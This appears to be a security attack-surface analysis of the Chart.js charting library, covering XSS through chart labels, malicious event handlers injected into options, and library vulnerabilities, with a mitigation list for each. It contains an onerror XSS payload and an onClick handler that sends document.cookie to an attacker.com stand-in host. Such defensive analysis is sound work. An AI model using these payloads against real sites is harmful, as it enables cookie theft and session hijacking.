attack-surface.md

Attack Surface Analysis for chartjs/chart.js

Attack Surface: Data Injection via Chart Data

• Description: Vulnerabilities arising from the use of untrusted data as input for chart rendering. Malicious data can be crafted to execute unintended actions within the user's browser, primarily through Cross-Site Scripting (XSS).

  • Chart.js Contribution: Chart.js directly consumes data provided in JavaScript objects to generate charts. If this data is sourced from untrusted origins and not properly processed, it becomes a direct vector for injecting malicious payloads into the rendered chart elements (like labels and tooltips).

  • Example: An attacker injects the following data as a label for a data point: <img src="x" onerror="alert('Critical XSS Vulnerability!')">. When Chart.js renders the tooltip or data label containing this malicious string, the onerror event will trigger, executing the JavaScript alert('Critical XSS Vulnerability!') in the user's browser, demonstrating a critical XSS vulnerability.

  • Impact: Cross-Site Scripting (XSS). Successful exploitation can lead to complete compromise of the user's session, including session hijacking, cookie theft, redirection to malicious websites, defacement, and the ability to perform actions on behalf of the user.

  • Risk Severity: Critical

  • Mitigation Strategies:

    • Strict Input Validation and Sanitization: Critically important to validate and sanitize all data before passing it to Chart.js. Implement robust input validation to ensure data conforms to expected types and formats. Sanitize all dynamic data, especially labels and tooltips, using HTML entity encoding to prevent interpretation of HTML tags and JavaScript.
    • Content Security Policy (CSP): Implement a strict Content Security Policy to significantly reduce the impact of XSS. Restrict script sources and disable unsafe-inline and unsafe-eval to prevent execution of injected scripts.
    • Secure Data Handling Practices: Treat all external data sources as potentially untrusted. Implement secure data fetching and processing pipelines to minimize the risk of introducing malicious data into the application and Chart.js.

Attack Surface: Configuration Injection via Chart Options (Event Handler Exploitation)

• Description: Exploiting vulnerabilities by manipulating Chart.js configuration options, specifically focusing on the injection of malicious JavaScript code through event handlers.

  • Chart.js Contribution: Chart.js allows defining event handlers (like onClick, onHover) within the chart configuration. If these handlers are dynamically constructed or influenced by untrusted input, attackers can inject and execute arbitrary JavaScript code when chart events are triggered.

  • Example: An attacker injects a malicious onClick handler into the chart configuration via a manipulated input parameter:

    options: {
        onClick: function(event, chartElement) {
            // Malicious code injected by attacker
            window.location.href = 'https://attacker.com/malicious_site?cookie=' + document.cookie;
        }
    }

    If this configuration is applied, clicking on the chart will execute the attacker's JavaScript, potentially stealing cookies and redirecting the user to a malicious site.

  • Impact: Cross-Site Scripting (XSS) leading to potential account compromise, data theft, and malicious actions performed in the user's context.

  • Risk Severity: High

  • Mitigation Strategies:

    • Configuration Whitelisting and Strict Control: Implement a strict whitelist of allowed configuration options. Never dynamically construct event handlers directly from user input. Use predefined, safe configurations or build configurations programmatically based on validated, server-controlled parameters.
    • Avoid Dynamic Event Handlers: Minimize or completely eliminate the use of dynamically constructed event handlers in Chart.js configurations. If event handling is necessary, use predefined, safe event handler functions that do not execute dynamically generated code.
    • Secure Configuration Management: Manage chart configurations securely on the server-side. Avoid exposing configuration options directly to user manipulation.

Attack Surface: Vulnerabilities in Chart.js Library Itself (Critical Vulnerabilities)

• Description: Critical security vulnerabilities present within the Chart.js library code itself that could be exploited by attackers to achieve significant impact, such as Remote Code Execution (RCE) or critical XSS bypasses.

  • Chart.js Contribution: As a third-party library, Chart.js code may contain undiscovered vulnerabilities. Using a vulnerable version directly exposes the application to these risks if such vulnerabilities exist and are exploitable.

  • Example: Hypothetically, a critical vulnerability in a specific version of Chart.js could allow an attacker to craft a specific chart configuration or data input that, when processed by the vulnerable Chart.js library, leads to Remote Code Execution within the user's browser or a complete bypass of XSS sanitization mechanisms.

  • Impact: Potentially Critical. Could range from critical XSS bypasses to in extreme cases, Remote Code Execution (RCE) within the browser, allowing for complete control over the user's browser session and potentially the user's system in certain browser environments.

  • Risk Severity: Critical (when critical vulnerabilities are present in the library).

  • Mitigation Strategies:

    • Proactive and Regular Updates: Prioritize keeping Chart.js updated to the latest stable version. Implement a process for regularly checking for and applying updates to Chart.js and all other front-end dependencies.
    • Vulnerability Monitoring and Dependency Scanning: Actively monitor security advisories and vulnerability databases specifically related to Chart.js. Utilize dependency scanning tools in your development pipeline to automatically identify known vulnerabilities in Chart.js and its dependencies before deployment.
    • Security Audits and Code Reviews: For critical applications, consider periodic security audits and code reviews of your application's Chart.js integration and the Chart.js library itself (or rely on reputable third-party security assessments of Chart.js).